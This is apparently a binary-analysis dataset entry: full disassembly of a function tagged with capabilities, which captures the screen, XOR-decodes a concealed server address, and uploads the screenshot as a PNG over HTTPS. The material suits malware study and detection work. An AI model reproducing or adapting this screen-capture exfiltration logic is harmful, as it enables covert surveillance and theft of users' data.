Function at 0x140040a50
Capabilities:
Capture screenshot
Encode data using xor
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x348]
sub rsp, 0x408
movaps xmmword [rax - 0x58], xmm6
movaps xmmword [rax - 0x68], xmm7
xor ebx, ebx
mov dword [rbp + 0x350], ebx
cmp byte [0x14022cd59], bl
jne 0x140041957
mov dword [rbp + 0x78], 1
mov qword [rbp + 0x80], rbx
mov qword [rbp + 0x88], rbx
xor r8d, r8d
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x90]
call qword [sym.imp.gdiplus.dll_GdiplusStartup]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov r14, rax
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov r15, rax
mov edx, 0x780
mov r8d, 0x438
mov rcx, r14
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rdi, rax
mov qword [rbp + 0x28], rax
mov rdx, rax
mov rcx, r15
call qword [sym.imp.GDI32.dll_SelectObject]
mov qword [rbp + 0x20], rax
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x438
mov r9d, 0x780
xor r8d, r8d
xor edx, edx
mov rcx, r15
call qword [sym.imp.GDI32.dll_BitBlt]
lea rax, vtable.Gdiplus::Bitmap.0
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0x350], rbx
lea r8, [rbp + 0x350]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipCreateBitmapFromHBITMAP]
mov esi, eax
mov r12, qword [rbp + 0x350]
mov qword [rbp + 0x30], r12
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0x368], rbx
lea r8, [rbp + 0x368]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
movups xmm0, xmmword [0x14012b9a0]
movups xmmword [rsp + 0x50], xmm0
mov eax, dword [0x14012b9b0]
mov dword [rsp + 0x60], eax
cmp word [0x14012b9b2], bx
je 0x140040bde
mov eax, 0x69
mov word [rsp + 0x50], ax
xor word [rsp + 0x52], 0x36
xor word [rsp + 0x54], 0x37
xor word [rsp + 0x56], 0x38
xor word [rsp + 0x58], 0x39
xor word [rsp + 0x5a], 0x3a
xor word [rsp + 0x5c], 0x3b
xor word [rsp + 0x5e], 0x3c
xor word [rsp + 0x60], 0x3d
xor word [rsp + 0x62], 0x3e
mov dword [rbp + 0x358], ebx
mov dword [rbp + 0x350], ebx
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x358]
call qword [sym.imp.gdiplus.dll_GdipGetImageEncodersSize]
mov eax, dword [rbp + 0x350]
test eax, eax
je 0x140040c8b
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x140040c8b
mov r8, rax
mov edx, dword [rbp + 0x350]
mov ecx, dword [rbp + 0x358]
call qword [sym.imp.gdiplus.dll_GdipGetImageEncoders]
mov r9d, ebx
mov r11d, dword [rbp + 0x358]
test r11d, r11d
je 0x140040c82
mov eax, r9d
imul r10, rax, 0x68
mov rax, qword [r10 + rdi + 0x40]
lea r8, [rsp + 0x50]
sub r8, rax
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140040c68
add rax, 2
test ecx, ecx
jne 0x140040c54
test edx, edx
je 0x140040c76
inc r9d
cmp r9d, r11d
jb 0x140040c40
jmp 0x140040c82
movups xmm0, xmmword [r10 + rdi]
movups xmmword [rbp + 0x98], xmm0
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor r9d, r9d
lea r8, [rbp + 0x98]
mov rdx, qword [rbp + 0x368]
mov rcx, r12
call qword [sym.imp.gdiplus.dll_GdipSaveImageToStream]
test eax, eax
cmovne esi, eax
mov dword [rbp + 0xb8], esi
mov rcx, qword [rbp + 0x368]
mov rax, qword [rcx]
mov r8d, 1
lea rdx, [rbp + 0x1c0]
call qword [rax + 0x60]
mov esi, dword [rbp + 0x1d0]
mov edi, esi
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x18], xmm0
mov r13, rbx
mov qword [rbp - 8], rbx
test esi, esi
je 0x140040d0e
mov edx, esi
lea rcx, [rbp - 0x18]
call fcn.14007b1d0
mov r8d, esi
xor edx, edx
mov r12, qword [rbp - 0x18]
mov rcx, r12
call sub.VCRUNTIME140.dll_memset
add rdi, r12
mov qword [rbp - 0x10], rdi
mov r13, qword [rbp - 8]
jmp 0x140040d16
mov rdi, qword [rbp - 0x10]
mov r12, qword [rbp - 0x18]
mov rcx, qword [rbp + 0x368]
mov rax, qword [rcx]
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
call qword [rax + 0x28]
mov rcx, qword [rbp + 0x368]
mov rax, qword [rcx]
lea r9, [rbp + 0x360]
mov r8d, esi
mov rdx, r12
call qword [rax + 0x18]
mov rcx, qword [rbp + 0x368]
mov rax, qword [rcx]
call qword [rax + Ordinal_18]
mov rdx, qword [rbp + 0x20]
mov rcx, r15
call qword [sym.imp.GDI32.dll_SelectObject]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, r15
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
mov ecx, 0x30
call fcn.1400fa088
mov rdx, rax
mov qword [rbp - 0x78], rax
movdqa xmm0, xmmword [0x14012bf00]
movdqu xmmword [rbp - 0x68], xmm0
movups xmm0, xmmword [str.____WebKitFormBoundary7MA4YWxkTrZu0gW]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1401288e0]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x1401288f0]
mov dword [rax + 0x20], ecx
movzx eax, byte [0x1401288f4]
mov byte [rdx + 0x24], al
mov byte [rdx + 0x25], 0
lea rsi, [0x140000000]
lea rax, [rsi + 0x12b918]
mov qword [rbp + 0xc0], rax
lea rax, [0x14012ab48]
mov qword [rbp + 0xd0], rax
lea rcx, [rbp + 0x158]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp + 0x350], 1
xor r8d, r8d
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0xc0], r14
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0xbc], edx
lea rcx, [rbp + 0xd8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0x140], rbx
mov dword [rbp + 0x148], ebx
lea rdx, [0x14012896c]
lea rcx, [rbp + 0xd0]
call fcn.14007a440
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rdx, qword [rbp - 0x78]
mov r8, qword [rbp - 0x68]
mov rcx, rax
call fcn.14007bc10
lea rdx, [0x1401211b4]
mov rcx, rax
call fcn.14007a440
mov rcx, rax
lea rdx, str.Content_Disposition:_form_data__name_file___filename_screenshot.png__r_n
call fcn.14007a440
mov rcx, rax
lea rdx, str.Content_Type:_image_png_r_n_r_n
call fcn.14007a440
sub rdi, r12
mov r8, rdi
mov rdx, r12
lea rcx, [rbp + 0xd0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rdx, str._r_n__
lea rcx, [rbp + 0xd0]
call fcn.14007a440
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rdx, qword [rbp - 0x78]
mov r8, qword [rbp - 0x68]
mov rcx, rax
call fcn.14007bc10
lea rdx, str.___r_n
mov rcx, rax
call fcn.14007a440
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
movdqa xmm1, xmmword [0x14012bee0]
movdqu xmmword [rbp - 0x28], xmm1
mov byte [rbp - 0x38], 0
mov dword [rbp + 0x350], 5
xor eax, eax
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rax
mov ecx, dword [rbp + 0x148]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x140040f9a
mov rax, qword [rbp + 0x118]
mov r8, qword [rax]
test r8, r8
je 0x140040f9a
mov rax, qword [rbp + 0xf8]
mov rdx, qword [rax]
cmp r8, qword [rbp + 0x140]
cmovb r8, qword [rbp + 0x140]
sub r8, rdx
jmp 0x140040fd4
test cl, 4
jne 0x140040fca
mov rax, qword [rbp + 0x110]
mov rcx, qword [rax]
test rcx, rcx
je 0x140040fca
mov rax, qword [rbp + 0xf0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x128]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
jmp 0x140040fd4
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
test rdx, rdx
je 0x140040fe3
lea rcx, [rbp - 0x38]
call fcn.14007a0f0
nop
movups xmm3, xmmword [str.Q_D_VH_]
movups xmmword [rsp + 0x68], xmm3
movq xmm7, qword [str.QR_]
movq qword [rsp + 0x78], xmm7
mov edi, dword [0x1401410a0]
cmp word [0x14012acd6], 0
je 0x14004119d
mov r8d, ebx
cmp edi, 2
jl 0x140041168
movdqa xmm4, xmmword [0x14012c4a0]
movdqa xmm5, xmmword [str.3333]
movdqa xmm6, xmmword [0x14012c000]
movdqa xmm2, xmmword [0x14012bf40]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm6
movq xmm1, xmm3
xorps xmm2, xmm1
movq qword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x14012bf60]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
pshufhw xmm0, xmm3, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm6
movq xmm0, qword [rsp + 0x70]
xorps xmm2, xmm0
movq qword [rsp + 0x70], xmm2
movdqa xmm3, xmmword [0x14012bf70]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
pshufhw xmm0, xmm3, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm6
movq xmm0, xmm7
xorps xmm2, xmm0
movq qword [rsp + 0x78], xmm2
jmp 0x14004119d
lea r9, [rsp + 0x68]
nop dword [rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
sub ax, cx
add ax, 0x35
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xc
jl 0x140041170
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x58]
call fcn.140079470
nop
lea rdx, [rbp + 0x210]
lea rcx, [rsi + 0x12a4c0]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rcx]
movups xmmword [rdx], xmm1
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm0
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm1
movups xmm0, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm0
mov rax, qword [rcx + 0x40]
mov qword [rdx + 0x40], rax
mov eax, dword [rcx + 0x48]
mov dword [rdx + 0x48], eax
movzx eax, word [rcx + 0x4c]
mov word [rdx + 0x4c], ax
mov r8d, ebx
cmp edi, 2
jl 0x140041367
movdqa xmm5, xmmword [0x14012bf40]
movdqa xmm4, xmmword [0x14012c4a0]
movdqa xmm6, xmmword [str.3333]
movdqa xmm7, xmmword [0x14012c000]
lea rcx, [rbp + 0x210]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x60
jl 0x140041270
cmp r8d, 0x67
jge 0x1400413b7
movsxd rax, r8d
lea r9, [rbp + 0x210]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
sub ax, cx
add ax, 0x35
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x67
jl 0x140041380
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x38]
call fcn.140079470
nop
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.ScreenshotBot_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
test rax, rax
je 0x140041778
lea rdx, [rbp + 0x58]
cmp qword [rbp + 0x70], 7
cmova rdx, qword [rbp + 0x58]
mov r8d, 0x1bb
xor r9d, r9d
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
test rax, rax
je 0x140041778
lea r8, [rbp + 0x38]
cmp qword [rbp + 0x50], 7
cmova r8, qword [rbp + 0x38]
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, str.POST
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rdi, rax
mov qword [rbp + 0x350], rax
test rax, rax
je 0x140041778
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rdx, qword [rbp - 0x78]
mov r9, qword [rbp - 0x68]
add r9, rdx
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rdx, qword [rbp - 0x78]
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
cmp rdx, r9
jne 0x1400414a3
movdqa xmm0, xmmword [0x14012beb0]
movdqu xmmword [rbp - 0x48], xmm0
mov word [rbp - 0x58], bx
jmp 0x1400414b0
sub r9, rdx
lea rcx, [rbp - 0x58]
call fcn.14007bdd0
nop
mov r8, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
sub rax, r8
mov r15d, 0x2c
cmp rax, r15
jb 0x140041573
lea rax, [r8 + 0x2c]
mov qword [rbp - 0x48], rax
lea rsi, [rbp - 0x58]
cmp rcx, 7
cmova rsi, qword [rbp - 0x58]
lea rax, [0x140128a08]
lea rcx, str.Content_Type:_multipart_form_data__boundary
cmp rax, rsi
jbe 0x140041513
lea rax, [rsi + r8*2]
cmp rcx, rax
ja 0x140041513
cmp rsi, rcx
ja 0x140041508
mov r14, rbx
jmp 0x140041516
mov r14, rsi
sub r14, rcx
sar r14, 1
jmp 0x140041516
mov r14, r15
lea rcx, [rsi + 0x58]
lea r8, [r8*2 + 2]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
lea rdi, [r14 + r14]
mov r8, rdi
lea rdx, str.Content_Type:_multipart_form_data__boundary
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rdx, str.Content_Type:_multipart_form_data__boundary
lea rdx, [rdx + 0x58]
lea rdx, [rdx + r14*2]
lea rcx, [rsi + rdi]
sub r15, r14
lea r8, [r15 + r15]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x58]
mov rdi, qword [rbp + 0x350]
lea r14, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
jmp 0x140041584
mov qword [rsp + 0x28], r15
mov rdx, r15
lea rcx, [rbp - 0x58]
call fcn.14007c320
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rbp - 0x80]
mov rax, rdx
sub rax, rcx
cmp rax, 2
jb 0x1400415f5
lea rax, [rcx + 2]
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x68]
cmp rdx, 7
cmova rax, qword [rsp + 0x68]
mov dword [rax + rcx*2], 0xa000d
mov word [rax + rcx*2 + 4], bx
lea rax, [rsp + 0x68]
jmp 0x14004161c
mov qword [rsp + 0x20], 2
lea r9, [0x1401289a4]
movzx r8d, byte [rbp + 0x350]
mov edx, 2
lea rcx, [rsp + 0x68]
call fcn.14007abe0
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
mov rdx, qword [rbp - 0x80]
cmp rdx, 7
jbe 0x14004168d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041688
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140041688
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400fa3dc
movdqa xmm0, xmmword [0x14012beb0]
movdqu xmmword [rsp + 0x78], xmm0
mov word [rsp + 0x68], bx
mov rdx, qword [rbp - 0x40]
cmp rdx, 7
jbe 0x1400416e3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400416de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400416de
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400fa3dc
lea r9, [rbp - 0x38]
cmp qword [rbp - 0x20], 0xf
cmova r9, qword [rbp - 0x38]
lea rdx, [rbp]
cmp qword [rbp + 0x18], 7
cmova rdx, qword [rbp]
mov qword [rsp + 0x30], rbx
mov eax, dword [rbp - 0x28]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
mov r8d, 0xffffffff
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x140041734
xor edx, edx
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov byte [0x14022cd59], 1
mov rdx, qword [rbp + 0x18]
cmp rdx, 7
jbe 0x140041778
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041772
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140041772
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400fa3dc
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 7
jbe 0x1400417bb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400417b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400417b6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400fa3dc
movdqa xmm0, xmmword [0x14012beb0]
movdqu xmmword [rbp + 0x48], xmm0
mov word [rbp + 0x38], bx
mov rdx, qword [rbp + 0x70]
cmp rdx, 7
jbe 0x140041817
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004180a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004180a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400fa3dc
movdqa xmm0, xmmword [0x14012beb0]
movdqu xmmword [rbp + 0x68], xmm0
mov word [rbp + 0x58], bx
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x14004185e
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041859
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140041859
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400fa3dc
movdqa xmm0, xmmword [0x14012bee0]
movdqu xmmword [rbp - 0x28], xmm0
mov byte [rbp - 0x38], 0
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xc0], r14
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0xbc], edx
lea rcx, [rbp + 0xd8]
call fcn.1400791f0
lea rcx, [rbp + 0xe0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x158]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x1400418ff
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400418fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400418fa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400fa3dc
movdqa xmm0, xmmword [0x14012bee0]
movdqu xmmword [rbp - 0x68], xmm0
mov byte [rbp - 0x78], 0
test r12, r12
je 0x14004194d
sub r13, r12
mov rax, r12
cmp r13, 0x1000
jb 0x140041941
add r13, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140041941
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, r13
mov rcx, r12
call fcn.1400fa3dc
nop
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.gdiplus.dll_GdipDisposeImage]
movaps xmm6, xmmword [rsp + 0x3f0]
movaps xmm7, xmmword [rsp + 0x3e0]
add rsp, 0x408
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret